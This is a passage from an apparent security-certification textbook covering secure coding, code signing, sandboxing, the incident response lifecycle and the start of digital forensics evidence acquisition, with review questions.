developers to write code that prevents common vulnerabilities like SQL injection
and cross-site scripting. Application security practices also mandate static and
dynamic application security testing (SAST). Coding practices designed to support
regular patching and updates are crucial to support the prompt resolution of newly
discovered vulnerabilities.
Static code analysis supports secure coding and is performed using specialized
tools, often integrated into software development suites. These tools automate
code checks against pre-determined rules and flag potential issues so developers
can review and address them. Some commonly used static analysis tools include
SonarQube (https://www.sonarsource.com/products/sonarqube/), Coverity (https://
www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html),
and Fortify (https://www.microfocus.com/en-us/cyberres/application-security), but
there are many others.
Static code analysis in software development is critical because it enables early
detection of bugs and security vulnerabilities and helps prevent potentially
catastrophic failures in the final product. It also improves code quality and
maintainability by enforcing coding standards and best practices. Additionally, static
code analysis helps educate developers about common coding errors and security
risks, which helps promote security-conscious development practices.

Code Signing
Code signing practices use digital signatures to verify the integrity and authenticity
of software code. Code signing serves a dual purpose: ensuring that software has
not been tampered with since signing and confirming the software publisher’s
identity.
When software is digitally signed, the signer uses a private key to encrypt a hash or
digest of the code—this encrypted hash and the signer’s identity form the digital
signature. Code signing requires using a certificate issued by a trusted certificate
authority (CA). The certificate contains information about the signer’s identity and
is critical for verifying the digital signature. If the certificate is valid and issued by
a trusted CA, the software publisher’s identity can be confidently verified. Code
signing helps analysts and administrators block untrusted software and also helps
protect software publishers by providing a mechanism to validate the authenticity
of their code. Overall, code signing helps build trust in the software distribution
process.
While code signing provides assurance about the origin of code and verifies code
integrity, it does not inherently assure the safety or security of the code itself.
Code signing certifies the source and integrity of the code, but it doesn’t evaluate
the quality or security of the code. The signed code could still contain bugs,
vulnerabilities, or malicious code inserted by the original author. Signing ensures
software is from the expected developer and in the state the developer intended.
While code signing adds trust and authenticity to software distribution, it should not
be relied upon to guarantee secure or bug-free code.

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Reviewing the digital signature contained within the Bitwarden Password

Management app installer.

Application Protections
Data exposure is a fault that allows privileged information (such as a token,
password, or personal data) to be read without being subject to the appropriate
access controls. Applications must only transmit such data between authenticated
hosts, using cryptography to protect the session. When incorporating encryption in
code, it is important to use industry standard encryption libraries that are proven to
be strong, rather than internally developed ones.

Error Handling
A well-written application must be able to handle errors and exceptions gracefully.
This means that the application performs in a controlled way when something
unpredictable happens. An error or exception could be caused by invalid user input,
a loss of network connectivity, another server or process failing, and so on. Ideally,
the programmer will have written a structured exception handler (SEH) to dictate
what the application should then do. Each procedure can have multiple exception
handlers.
Some handlers will deal with anticipated errors and exceptions; there should also
be a catchall handler that will deal with the unexpected. The main goal must be
for the application not to fail in a way that allows the attacker to execute code or
perform some sort of injection attack. One infamous example of a poorly written
exception handler is the Apple GoTo bug (nakedsecurity.sophos.com/2014/02/24/
anatomy-of-a-goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch).
Another issue is that an application’s interpreter may default to a standard handler
and display default error messages when something goes wrong. These may reveal
platform information and the inner workings of code to an attacker. It is better for
an application to use custom error handlers so that the developer can choose the
amount of information shown when an error is caused.
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Technically, an error is a condition that the process cannot recover from, such as the
system running out of memory. An exception is a type of error that can be handled by
a block of code without the process crashing. Note that exceptions are still described as
generating error codes/messages, however.

Memory Management
Many arbitrary code attacks depend on the target application having faulty memory
management procedures. This allows the attacker to execute their own code in the
space marked out by the target application. There are known unsecure practices for
memory management that should be avoided and checks for processing untrusted
input, such as strings, to ensure that it cannot overwrite areas of memory.

Client-Side vs. Server-Side Validation

A web application (or any other client-server application) can be designed to
perform code execution and input validation locally (on the client) or remotely (on
the server). An example of client-side execution is a document object model (DOM)
script to render the page using dynamic elements from user input. Applications
may use both techniques for different functions. The main issue with client-side
validation is that the client will always be more vulnerable to some sort of malware
interfering with the validation process. The main issue with server-side validation
is that it can be time-consuming, as it may involve multiple transactions between
the server and client. Consequently, client-side validation is usually restricted
to informing the user that there is some sort of problem with the input before
submitting it to the server. Even after passing client-side validation, the input will
still undergo server-side validation before it can be posted (accepted). Relying on
client-side validation only is poor programming practice.

Application Security in the Cloud

Cloud hardening and application security are complementary capabilities designed
to support the shared responsibility model in cloud environments where cloud
service providers are responsible for securing the infrastructure and customers
are responsible for securing their data and applications. Cloud hardening practices
fortify the cloud infrastructure, reducing its attack surface, whereas application
security ensures that software is designed, developed, and deployed securely.
Together, these approaches create layered defenses that can counter many
different types of threats.
Cloud hardening includes least privilege access policies to restrict users to the
minimum permissions needed to perform their duties. Encryption protects data
in transit and at rest. Regular audits and continuous monitoring practices identify
potential security risks, and regular vulnerability assessments and penetration
testing detect and address any potential security issues or misconfigurations.

Monitoring Capabilities
Secure coding practices focus primarily on preventing software vulnerabilities but
also stress enhancements to logging and monitoring capabilities. These features
support security analysts tasked with detecting potential threats and malicious
activity in software. Writing code with enhanced monitoring capabilities improves
the granularity and effectiveness of logging and alerting systems, which are crucial
system monitoring tools.

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Implementing comprehensive and meaningful logging requires developers to

ensure their applications generate logs that capture important events and activities
to support security audits, incident response, and system troubleshooting. Secure
coding practices encourage robust error handling to hide or mask sensitive
debugging information, and this practice minimizes the risk of attackers exploiting
information displayed in error messages. Integrating real-time alerting capabilities
within the application code can significantly improve threat detection. For example,
code that triggers alerts when specific events occur, such as repeated failed login
attempts or unusual data transfers, helps security analysts monitor applications
more effectively. These alerts often indicate a potential security breach and provide
crucial information for incident response teams.

Software Sandboxing
Sandboxing is a security mechanism used in software development and operation
to isolate running processes from each other or prevent them from accessing the
system they are running on. A sandbox is a protection feature designed to control a
program so it runs with highly restrictive access. This containment strategy reduces
the potential impact of malicious or malfunctioning software, making it effective
for improving system security and stability and mitigating risks associated with
software.
A practical example of sandboxing is implemented in modern web browsers, like
Google Chrome, which separates each tab and extension into distinct processes. If
a website or browser extension in one browser tab attempts to run malicious code,
it is confined within that tab’s sandbox. This action prevents malicious code from
impacting the entire browser or underlying operating system. Similarly, if a tab
crashes, it doesn’t cause the whole browser to fail, improving reliability.
Operating systems also utilize sandboxing to isolate applications. For example, iOS
and Android use sandboxing to limit each application’s actions. An app in a sandbox
can access its own data and resources but cannot access other app data or any
nonessential system resources without explicit permission. This approach limits the
damage caused by poorly written or malicious apps.
Virtual machines (VMs) and containers like Docker offer another example of
sandboxing at a larger scale. Each VM or container can run in isolation, separated
from the host and each other. The others remain unaffected if one VM or container
experiences a security breach or system failure.

Sandboxing in Security Operations

Sandboxing tools are pivotal in security operations and analysis, particularly in
detecting and understanding malware activities via forensic inspection. Sandboxing
tools create an enclosed, controlled environment that allows the safe execution
(also referred to as detonation) of potentially harmful software without jeopardizing
the integrity of the IT environment.
Examples of such tools include Cuckoo Sandbox, an open source system that runs
files within an isolated environment and scrutinizes their behavior, logging crucial
activities like system calls and network traffic.
Another important tool is Joe Sandbox, which does not require setup or installation
in the organization’s environment but can be accessed via a web browser. Joe
Sandbox leverages several analysis techniques, including machine learning, to
examine software.

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Joe Sandbox analysis of a malicious executable file. (Screenshot courtesy of Joe Security, LLC.)

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Review Activity:
Cloud and Web Application Security
Concepts
6

Answer the following questions:

1. What type of programming practice defends against injection-style

attacks, such as inserting SQL commands into a database application
from a site search form?

2. Which response header provides protection against SSL stripping

2.

attacks?

3. What vulnerabilities might default error messages reveal?

3.

4. How does static code analysis support secure development?

4.

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Lesson 11
Summary
5

You should be able to configure secure protocols for local network access and
management, application services, and remote access and management.

Guidelines for Enhancing Application Security

Capabilities
Follow these guidelines when implementing network protocols:
• Assess the requirements for securing application protocols, such as the need for
certificates or keys for authentication and TCP/UDP port usage:

• Deploy certificates to web servers to use with HTTPS.

• Deploy certificates to email servers to use with secure SMTP, POP3, and IMAP.

• Deploy certificates or host keys to file servers to use with FTPS or SFTP.

• Deploy certificates to email clients to use with S/MIME.

Follow these guidelines for improving application development projects:

• Train developers on secure coding techniques to provide specific mitigation
against attacks:

• Understand different categories of web application attacks that exploit

vulnerable code.

• Identify injection attacks (XSS, SQL, XML, LDAP) that exploit lack of input
validation.

• Replay and request forgery attacks that exploit lack of secure session
management mechanisms.

• Review and test code using static and dynamic analysis, paying particular
attention to input validation, output encoding, error handling, and data
exposure.

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 Lesson 12
Explain Incident Response and
Monitoring Concepts
1

LESSON INTRODUCTION
From a day-to-day perspective, incident response means investigating the alerts
produced by monitoring systems and issues reported by users. This activity is
guided by policies and procedures and assisted by various technical controls.
Incident response is a critical security function, and will be a very large part of your
work as a security professional. You must be able to summarize the phases of
incident handling and utilize appropriate data sources to assist an investigation.
Where incident response emphasizes the swift eradication of malicious activity,
digital forensics requires patient capture, preservation, and analysis of evidence
using verifiable methods. You may be called on to assist with an investigation
into the details of a security incident and to identify threat actors. To assist these
investigations, you must be able to summarize the basic concepts of collecting
and processing forensic evidence that could be used in legal action or for strategic
counterintelligence.
In this lesson, you will do the following:
• Summarize incident response and digital forensics procedures.

• Utilize appropriate data sources for incident investigations.

• Explain security alerting and monitoring concepts and tools.

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Topic 12A
Incident Response
2

EXAM OBJECTIVES COVERED

4.8 Explain appropriate incident response activities.

Effective incident response is governed by formal policies and procedures, setting

out roles and responsibilities for an incident response team. You must understand
the importance of following these procedures and performing your assigned role
within the team to the best of your ability.

Incident Response Processes

A cybersecurity incident refers to either a successful or attempted violation of
the security properties of an asset, compromising its confidentiality, integrity,
or availability. Incident response (IR) policy sets the resources, processes, and
guidelines for dealing with cybersecurity incidents. Management of each incident
should follow a process lifecycle. CompTIA’s incident response lifecycle is a
seven-step process:
1. Preparation—makes the system resilient to attack in the first place. This
includes hardening systems, writing policies and procedures, and setting up
confidential lines of communication. It also implies creating incident response
resources and procedures.

2. Detection—discovers indicators of threat actor activity. Indicators that

an incident may have occured might be generated from an automated
intrusion system. Alternatively, incidents might be manually detected through
threat hunting operations or be reported by employees, customers, or law
enforcement.

3. Analysis—determines whether an incident has taken place and perform

triage to assess how severe it might be from the data reported as indicators.

4. Containment—limit the scope and magnitude of the incident. The principal

aim of incident response is to secure data while limiting the immediate
impact on customers and business partners. It is also necessary to notify
stakeholders and identify other reporting requirements.

5. Eradication—removes the cause and restores the affected system to a secure

state by applying secure configuration settings and installing patches once the
incident is contained.

6. Recovery—reintegrates the system into the business process it supports

with the cause of the incident eradicated. This recovery phase may involve
the restoration of data from backup and security testing. Systems must be
monitored closely for a period to detect and prevent any reoccurrence of the
attack. The response process may have to iterate through multiple phases
of identification, containment, eradication, and recovery to effect a complete
resolution.

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7. Lessons learned—analyzes the incident and responses to identify whether

procedures or systems could be improved. It is imperative to document the
incident. Outputs from this phase feed back into a new preparation phase in
the cycle.

Incident response likely requires coordinated action and authorization from several
different departments or managers, which adds further levels of complexity.

Phases in incident response.

The IR process is focused on cybersecurity incidents. There are also major incidents
that pose an existential threat to company-wide operations. These major incidents are
handled by disaster recovery processes. A cybersecurity incident might lead to a major
incident being declared, however.

Preparation
The preparation process establishes and updates the policies and procedures
for dealing with security breaches. This includes provisioning the personnel and
resources to implement those policies.

Cybersecurity Infrastructure
Cybersecurity infrastructure is hardware and software tools that facilitate incident
detection, digital forensics, and case management:
• Incident detection tools provide visibility into the environment by fully or
partially automating the collection and analysis of network traffic, system
state monitoring, and log data.

• Digital forensics tools facilitate acquiring and validating data from system
memory and file systems. This can be performed just to assist incident response
or to prosecute a threat actor.

• Case management tools provide a database for logging incident details and
coordinating response activities across a team of responders.

This functionality is often implemented as a single product suite. Tools such as

security information and event management (SIEM) and security orchestration,
automation and response (SOAR) provision alerting and monitoring dashboards
to fully manage the steps in incident response.

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Cyber Incident Response Team

Incident response requires team members with a range of security competencies. This
team is variously described as a computer incident response team (CIRT), computer
security incident response team (CSIRT), or computer emergency response team (CERT).
Incident response might also involve or be wholly located within a security operations
center (SOC). However it is set up, the team must be led by a senior executive decision-
maker who can authorize actions following the most serious incidents. Managers
ensure the day-to-day operation of the CIRT and coordinate response activity with other
business departments. Analysts and technicians will work at various levels to prioritize
cases and mitigate minor incidents on their own initiative.
As well as cybersecurity expertise, advice from other business divisions will also
need to be called upon:
• Legal—evaluates incident response from the perspective of compliance with
laws and industry regulations. It may also be necessary to liaise closely with law
enforcement professionals which can be daunting without expert legal advice.

• Human Resources (HR)—deals with effects on employee contracts,

employment law, and so on. HR can help address underlying organizational
or personnel issues contributing to the incident, like employee dissatisfaction,
workplace conflicts, or inadequate training.

• Public Relations—manages any negative press and/or social media reactions

and comments from a serious incident.

Some organizations may prefer to outsource some of the CIRT functions to third-
party agencies by retaining an incident response provider. External agents are able
to deal more effectively with insider threats.

Communication Plan
Incident response policies should establish clear lines of communication for
reporting incidents and notifying affected parties as the management of an incident
progresses. It is vital to have essential contact information readily available.
It is critical to prevent the unintentional release of information beyond the team
authorized to handle the incident. It is imperative that adversaries not be alerted to
containment and remediation measures to be taken against them. Status and event
details should be circulated on a need-to-know basis and only to trusted parties
identified on a call list.
The team requires an out-of-band communication method that cannot be
intercepted. Using corporate email runs the risk that the threat actor will be able
to intercept communications.

Stakeholder Management
It is not helpful to publicize an incident in the press or through social media outside
of planned communications. Ensure that parties with privileged information do not
release this information to untrusted parties, whether intentionally or inadvertently.
Consider obligations to report an incident. It may be necessary to inform affected
parties during or immediately after the incident so that they can perform their
own remediation. There could also be a requirement to report to regulators or law
enforcement.
Also, consider the marketing and PR impact of an incident. This can be highly
damaging, and the company must demonstrate to customers that security
systems have been improved.

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Incident Response Plan

The outcome of preparation activity is a formal incident response plan (IRP). This
lists the procedures, contacts, and resources available to responders for various
incident categories.

Detection
Detection is the process of correlating events from network and system data
sources and determining whether they are indicators of an incident. There are
multiple channels by which indicators may be recorded:
• Matching events in log files, error messages, IDS alerts, firewall alerts, and other
data sources to a pattern of known threat behavior.

• Identifying deviations from baseline system metrics.

• Manually or physical inspecting the site, premises, networks, and hosts.

Running a proactive search for signs of intrusion is referred to as threat hunting.

• Notification by an employee, customer, or supplier.

• Publicly reporting new vulnerabilities or threats by a system vendor, regulator,

the media, or other outside party.

It is wise to provide an option for confidential reporting so that employees are not
afraid to report insider threats such as fraud or misconduct.
When a suspicious event is detected, it is critical that the appropriate person on
the CIRT be notified so that they can take charge of the situation and formulate the
appropriate response. This person is referred to as the first responder. Employees
at all levels of the organization must be trained to recognize and respond
appropriately to actual or suspected security incidents.

Managing alerts generated by host and network intrusion detection systems correlated in
the Security Onion Security Information and Event Management (SIEM) platform. A SIEM can
generate huge numbers of alerts that need to be manually assessed for priority and investigation.
(Screenshot courtesy of Security Onion securityonion.net.)

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Analysis
After the detection process reports one or more indicators, in the analysis process,
the first responder investigates the data to determine whether a genuine incident
has been identified and what level of priority it should be assigned. Conversely,
the report might be categorized as a false positive and dismissed. Classification of
a true positive incident event often relies on correlating multiple indicators. For a
complex or high-impact event, the analysis might be escalated to senior CIRT team
members.
When an incident is verified as a true positive, the next objective is to identify
the type of incident and the data or resources affected. This establishes incident
category and impact, and allows the assignment of a priority level.

Impact
Several factors affect the process of determining impact:
• Data integrity—the most important factor in prioritizing incidents will often be
the value of data that is at risk.

• Downtime—is the degree to which an incident disrupts business processes,

another very important factor. An incident can either degrade (reduce
performance) or interrupt (completely stop) the availability of an asset, system,
or business process.

• Economic/publicity—both data integrity and downtime have important

economic effects in the short term and the long term. Short-term costs involve
incident response and lost business opportunities. Long-term economic costs
may involve damage to reputation and market standing.

• Scope—(broadly the number of systems affected) is not a direct indicator of

priority. A large number of systems might be infected with a type of malware
that degrades performance but is not a data breach risk. This might even be a
masking attack as the adversary seeks to compromise data on a single database
server storing top secret information.

• Detection time—research has shown that more than half of data breaches
are not detected for weeks or months after the intrusion occurs, while in a
successful intrusion data is typically breached within minutes. Systems used to
search for intrusions must be thorough and the response to detection must be
fast.

• Recovery time—for some incidents requires lengthy remediation as the system

changes required are complex to implement. This extended recovery period
should trigger heightened alertness for continued or new attacks.

Category
Incident categories and definitions ensure that all response team members and
other organizational personnel have a shared understanding of the meaning of
terms, concepts, and descriptions.
Effective incident analysis depends on threat intelligence. This research provides
insight into adversary tactics, techniques, and procedures (TTPs). Insights from
threat research can be used to develop specific tools and playbooks to deal with
event scenarios. A key tool for threat research is the framework used to describe
the stages of an attack. These stages are often referred to as a cyber kill chain,
following the influential white paper Intelligence-Driven Computer Network Defense
commissioned by Lockheed Martin (lockheedmartin.com/content/dam/lockheed-
martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf).

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Stages in the kill chain.

Playbooks
The CIRT should develop profiles or scenarios of typical incidents, such as DDoS
attacks, virus/worm outbreaks, data exfiltration by an external adversary, data
modification by an internal adversary, and so on. This guides investigators in
determining priorities and remediation plans.
A playbook is a data-driven standard operating procedure (SOP) to assist analysts
in detecting and responding to specific cyber threat scenarios. The playbook
starts with a report from an alert dashboard. It then leads the analyst through the
analysis, containment, eradication, recovery, and lessons learned steps to take.

Containment
Following detection and analysis, the incident management database should
have a record of the event indicators, the nature of the incident, its impact, and
the investigator responsible for managing the case. The next phase of incident
management is to determine an appropriate response.
As incidents cover a wide range of different scenarios, technologies, motivations,
and degrees of seriousness, there is no standard approach to containment or
incident isolation. Some of the many complex issues facing the CIRT are the
following:
• What damage or theft has occurred already? How much more could be inflicted,
and in what sort of time frame (loss control)?

• What countermeasures are available? What are their costs and implications?

• What actions could alert the threat actor that the attack has been detected?
What evidence of the attack must be gathered and preserved?

• What notification or reporting is required at this stage of the incident?

Containment techniques can be classed as either isolation-based or

segmentation-based.

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Isolation-Based Containment
Isolation involves removing an affected component from whatever larger
environment it is a part of. This can be everything from removing a server from
the network after it has been the target of a denial of service attack to placing an
application in a sandbox outside the host environments it usually runs on. Isolation
removes any interface between the affected system and the production network or
the Internet.
A simple option is to disconnect the host from the network by pulling the network
plug (creating an air gap) or disabling its switch port. This is the least stealthy option
and will reduce opportunities to analyze the attack or malware.
If a group of hosts is affected, you could use routing infrastructure to isolate one
or more infected virtual LANs (VLANs) in a sinkhole that is not reachable from the
rest of the network. Another possibility is to use firewalls or other security filters to
prevent infected hosts from communicating.
Finally, isolation could also refer to disabling a user account or application service.
Temporarily disabling users’ network accounts may prove helpful in containing
damage if an intruder is detected within the network. Without privileges to access
resources, an intruder will not be able to further damage or steal information from
the organization. Applications that you suspect may be the vector of an attack can
be much less effective to the attacker if the application is prevented from executing
on most hosts.

Segmentation-Based Containment
Segmentation-based containment is a means of achieving the isolation of a host
or group of hosts using network technologies and architecture. Segmentation uses
VLANs, routing/subnets, and firewall ACLs to prevent a host or group of hosts from
communicating outside the protected segment. As opposed to completely isolating
the hosts, you might configure the protected segment as a sinkhole or honeynet
and allow the attacker to continue to receive filtered (and possibly modified) output
to deceive them into thinking the attack is progressing successfully. This facilitates
analysis of the threat actor’s TTPs and, potentially, their identity. Attribution of the
attack to a particular group will allow an estimation of adversary capability.

Eradication and Recovery

After an incident has been contained, the eradication process applies mitigation
techniques and controls to remove the intrusion tools and unauthorized
configuration changes from systems.
When traces of malware, backdoors, and compromised accounts have been
eliminated, the recovery process ensures restoration of capabilities and services.
This means that hosts are fully reconfigured to operate the business workflow they
were performing before the incident. An essential part of recovery is the process of
ensuring that the system cannot be compromised through the same attack vector,
or failing that, that the vector is closely monitored to provide advance warning of
another attack.
Eradication of malware or other intrusion mechanisms and recovery from the
attack will involve several steps:
1. Reconstitution of affected systems—by either removing the malicious
files or tools from affected systems or restoring the systems from secure
backups/images.

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If reinstalling from baseline template configurations or images, make sure that there
is nothing in the baseline that allowed the incident to occur! If so, update the template
before rolling it out again.

2. Reaudit security controls—by ensuring they are not vulnerable to another

2.

attack. This could be the same attack or from some new attack that the attacker
could launch through information they have gained about the network.
If the organization is subjected to a targeted attack, be aware that one incident may be
very quickly followed by another.

3. Ensure that affected parties are notified and provided with the means to
3.

remediate their own systems. For example, if customers’ passwords are stolen,
they should be advised to change the credentials for any other accounts where
that password might have been used (not good practice, but most people do it).

Lessons Learned
The lessons learned process reviews severe security incidents to determine their
root cause, whether they were avoidable, and how to avoid them in the future.
Lessons learned activity starts with a meeting where staff review the incident
and responses. The meeting must include staff directly involved along with other
noninvolved incident handlers, who can provide objective, external perspectives. All
staff must contribute freely and openly to the discussion, so these meetings must avoid
pointing blame and instead focus on improving procedures. Leadership should manage
disciplinary concerns related to staff failing to follow established procedures separately.
Following the meeting, one or more analysts should compile a lessons learned
report (LLR) or after-action report (AAR).
The lessons learned process should invoke root cause analysis or the effort to
determine how the incident was able to occur. A lot of models have been developed
to structure root cause analysis. One is the “Five Whys” model. This starts with a
statement of the problem and then poses successive “Why” questions to drill down
to root causes. Examples include the following:
• Why was our patient safety database found on a dark website? Because a threat
actor was able to copy it to USB and walk out of the building with it.

• Why was a threat actor able to copy the database to USB at all, or do so without
generating an alert? Because they were able to disable the data loss prevention
system.

• Why were they able to disable the data loss prevention system? Because they
were trusted with privileges to do so.

• Why were they allocated these privileges? No one seems to know . . . all
administrator accounts were issued with them.

• Why didn’t the act of disabling the data loss prevention system generate an
alert? It was logged, but alerts for that category had been disabled for causing
too many false positives.

This identifies two root causes as improper permission assignments and improper
logging/alerting configuration. One issue with the “Five Whys” model is that it can
quickly branch into different directions of inquiry.

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Another approach is to ask different questions with a view to building a complete

picture of the incident and its causes:
• Who was the adversary? Was the incident insider driven, external, or a
combination of both?

• Why was the incident perpetrated? Discuss the motives of the adversary and the
data assets they might have targeted.

• When did the incident occur, when was it detected, and how long did it take to
contain and eradicate?

• Where did the incident occur (host systems and network segments affected)?

• How did the incident occur? What tactics, techniques, and procedures (TTPs)
were employed by the adversary? Were the TTPs known and documented in a
knowledge base such as ATT&CK, or were they unique?

• What security controls would have provided better mitigation or improved the
response?

Another approach might be to step through the incident timeline to understand

what was known, the reasoning for each decision, and what options or controls
might have been more beneficial to the response.

Testing and Training

Testing and training validate the preparation process and show that the
organization as a whole is ready to perform incident response. Conversely,
lessons learned might show that this is not the case, and identify a need for
additional testing and training programs.

Testing
The procedures and tools used for incident response are difficult to master and
execute effectively. Analysts should not be practicing them for the first time in the
high-pressure environment of an actual incident. Running test exercises helps staff
develop competencies and can help to identify deficiencies in the procedures and
tools. Testing on specific incident response scenarios can use three forms:
• Tabletop exercise—this is the least costly type of testing. The facilitator presents
a scenario, and the responders explain what action they would take to identify,
contain, and eradicate the threat. The training does not use computer systems.
The scenario data is presented as flash cards.

• Walkthroughs—in this model, a facilitator presents the scenario as for a tabletop

exercise, but the incident responders demonstrate what actions they would take
in response. Unlike a tabletop exercise, the responders perform actions such as
running scans and analyzing sample files, typically on sandboxed versions of the
company’s actual response and recovery tools.

• Simulations—a simulation is a team-based exercise, where the red team

attempts an intrusion, the blue team operates response and recovery controls,
and a white team moderates and evaluates the exercise. This type of training
requires considerable investment and planning.

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Members of the Kentucky and Alabama National Guard participate in a simulated

network attack exercise.
(Photo by Kentucky National Guard Maj. Carla Raisler.)

Training
The actions of staff immediately following the detection of an incident can have a
critical impact on successful outcomes. Effective training on incident detection and
reporting procedures equip staff with the knowledge they need to react swiftly and
effectively to security events. Incident response is also likely to require coordinated
efforts from several different departments or groups, so cross-departmental
training is essential. The lessons learned phase of incident response often reveals a
need for additional security awareness and compliance training for employees. This
type of training helps employees develop the knowledge to identify attacks in the
future.
Training should focus on more than just technical skills and knowledge. Security
incidents can be very stressful and quickly cause working relationships to crack.
Training can improve team building and communication skills, giving employees
greater resilience when adverse events occur.

Threat Hunting
Threat hunting utilizes insights gained from threat intelligence to proactively
discover whether there is evidence of TTPs already present within the network
or system. This contrasts with a reactive process that is only triggered when alert
conditions are reported through an incident management system. Threat hunting
can provide useful information to the incident response preparation process, such
as demonstrating the value of investments in security tools and showing the need
for improvements to detection and analysis processes.
A threat hunting project is likely to be led by senior security analysts, but some
general points to observe include the following:
• Advisories and bulletins that warn of new threat types—threat hunting is a labor-
intensive activity and so needs to be performed with clear goals and resources.
Threat hunting usually proceeds according to some hypothesis of possible
threat. Security bulletins and advisories from vendors and security researchers
about new TTPs and/or vulnerabilities may be the trigger for establishing a

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threat hunt. For example, if threat intelligence reveals that Windows desktops in
many companies are being infected with a new type of malware that is not being
blocked by any current malware definitions, you might initiate a threat-hunting
plan to detect whether the malware is also infecting your systems.

• Intelligence fusion and threat data—threat hunting can be performed by

manual analysis of network and log data, but this is a very lengthy process. An
organization with a security information and event management (SIEM) and
threat analytics platform can apply intelligence fusion techniques. The analytics
platform is kept up to date with a TTP and indicator threat data feed. Analysts
can develop queries and filters to correlate threat data against on-premises data
from network traffic and logs.

• Maneuver—when investigating a suspected live threat, you must remember the

adversarial nature of hacking. A capable threat actor is likely to have anticipated
the likelihood of threat hunting, and attempted to deploy countermeasures to
frustrate detection. For example, the attacker may trigger a denial of service
attack to divert the security team’s attention, and then attempt to accelerate
plans to achieve actions on objectives. Maneuver is a military doctrine term
relating to obtaining positional advantage. As an example of defensive
maneuver, threat hunting might use passive discovery techniques so that
threat actors are given no hint that an intrusion has been discovered before the
security team has a containment, eradication, and recovery plan.

The Hunt dashboards in Security Onion can help to determine whether a given alert affects a single
system only (as here), or whether it is more widespread across the network. (Screenshot courtesy of
Security Onion securityonion.net.)

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Review Activity:
Incident Response
3

Answer the following questions:

1. What are the seven processes in the CompTIA incident response

lifecycle?

2. True or false? The “first responder” is whoever first reports an incident

to the CIRT.

3. True or false? It is important to publish all security alerts to all members

of staff.

4. You are providing security consultancy to assist a company with

improving incident response procedures. The business manager wants
to know why an out-of-band contact mechanism for responders is
necessary. What do you say?

5. Your consultancy includes a training segment. What type of incident

response exercise will best represent a practical incident handling
scenario?

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Topic 12B
Digital Forensics
6

EXAM OBJECTIVES COVERED

4.8 Explain appropriate incident response activities.

Digital forensic analysis involves examining evidence gathered from computer

systems and networks to uncover relevant information, such as deleted files,
timestamps, user activity, and unauthorized traffic. There are many processes
and tools for acquiring different kinds of digital evidence from computer hosts
and networks. These processes must demonstrate exactly how the evidence was
acquired and that it is a true copy of the system state at the time of the event.
Documentation is critical to collecting, preserving, and presenting valid digital
proofs. Mistakes or gaps in the record of the process can lead to the evidence being
dismissed. While you may not be responsible for leading evidence acquisition,
you should be familiar with the processes and tools used, so that you can provide
assistance as required.

Due Process and Legal Hold

Digital forensics is the practice of collecting evidence from computer systems to a
standard that will be accepted in a court of law. Forensics investigations are most
likely to be launched to prosecute crimes arising from insider threats, notably fraud
or misuse of equipment. Prosecuting external threat sources is often difficult, as
the threat actor may well be in a different country or have taken effective steps
to disguise their location and identity. Such prosecutions are normally initiated
by law enforcement agencies, where the threat is directed against military or
governmental agencies or is linked to organized crime.
Like DNA or fingerprints, digital evidence is latent. Latent means that the evidence
cannot be seen with the naked eye; rather, it must be interpreted using a machine
or process. This means that formal steps must be taken to ensure the admissibility
of digital evidence. As well as the physical evidence (a hard drive, for instance),
digital forensics requires documentation showing how the evidence was collected
and analyzed without tampering or bias.
Due process is a term used in US and UK common law to require that people only
be convicted of crimes following the fair application of the laws of the land. More
generally, due process can be understood to mean having a set of procedural
safeguards to ensure fairness. This principle is central to forensic investigation. If
a forensic investigation is launched (or if one is a possibility), it is important that
technicians and managers are aware of the processes that the investigation will use.
It is vital that they are able to assist the investigator and that they not do anything
to compromise the investigation. In a trial, defense counsel will try to exploit
any uncertainty or mistake regarding the integrity of evidence or the process of
collecting it.

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Legal hold refers to the fact that information that may be relevant to a court case
must be preserved. Information subject to legal hold might be defined by regulators
or industry best practice, or there may be a litigation notice from law enforcement
or lawyers pursuing a civil action. This means that computer systems may be taken
as evidence, with all the obvious disruption to a network that entails. A company
subject to legal hold will usually have to suspend any routine deletion/destruction
of electronic or paper records and logs.

Acquisition
Acquisition is the process of obtaining a forensically clean copy of data from a
device siezed as evidence. If the computer system or device is not owned by the
organization, there is the question of whether search or seizure is legally valid.
This impacts bring-your-own-device (BYOD) policies. For example, if an employee
is accused of fraud, you must verify that the employee’s equipment and data can
be legally seized and searched. Any mistake may make evidence gained from the
search inadmissible.
Data acquisition is also complicated by the fact that it is more difficult to capture
evidence from a digital crime scene than it is from a physical one. Some evidence
will be lost if the computer system is powered off; on the other hand, some
evidence may be unobtainable until the system is powered off. Additionally,
evidence may be lost depending on whether the system is shut down or “frozen” by
suddenly disconnecting the power.
Acquisition usually proceeds by using a tool to make an image from the data held
on the target device. An image can be acquired from either volatile or nonvolatile
storage. The general principle is to capture evidence in the order of volatility, from
more volatile to less volatile. The ISOC best practice guide to evidence collection
and archiving, published as tools.ietf.org/html/rfc3227, sets out the general order
as follows:
1. CPU registers and cache memory (including cache on disk controllers, graphics
cards, and so on).

2. Contents of nonpersistent system memory (RAM), including routing table, ARP

cache, process table, kernel statistics.

3. Data on persistent mass storage devices (HDDs, SSDs, and flash memory
3.

devices):

• Partition and file system blocks, slack space, and free space.

• System memory caches, such as swap space/virtual memory and

hibernation files.

• Temporary file caches, such as the browser cache.

• User, application, and OS files and directories.

4. Remote logging and monitoring data.

4.

5. Physical configuration and network topology.

5.

6. Archival media and printed documents.

6.

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The Windows registry is mostly stored on disk, but there are keys—notably HKLM\
HARDWARE—that only ever exist in memory. The contents of the registry can be
analyzed via a memory dump.

System Memory Acquisition

System memory is volatile data held in Random Access Memory (RAM) modules.
Volatile means that the data is lost when power is removed. A system memory
dump creates an image file that can be analyzed to identify the processes that are
running, the contents of temporary file systems, registry data, network connections,
cryptographic keys, and more. It can also be a means of accessing data that is
encrypted when stored on a mass storage device.

Viewing the process list in a memory dump using the Volatility framework. (Screenshot Volatility
framework volatilityfoundation.org.)

A specialist hardware or software tool can capture the contents of memory while
the host is running. Unfortunately, this type of tool needs to be preinstalled as it
requires a kernel mode driver to dump any data of interest. Various commercial
tools are available to perform system memory acquistion on Windows. On Linux,
the Volatility framework includes a tool to install a kernel driver.

Disk Image Acquisition

Disk image acquisition refers to acquiring data from nonvolatile storage. Nonvolatile
storage includes hard disk drives (HDDs), solid state drives (SSDs), firmware, other
types of flash memory (USB thumb drives and memory cards), and optical media
(CD, DVD, and Blu-ray). This can also be referred to as device acquisition, meaning
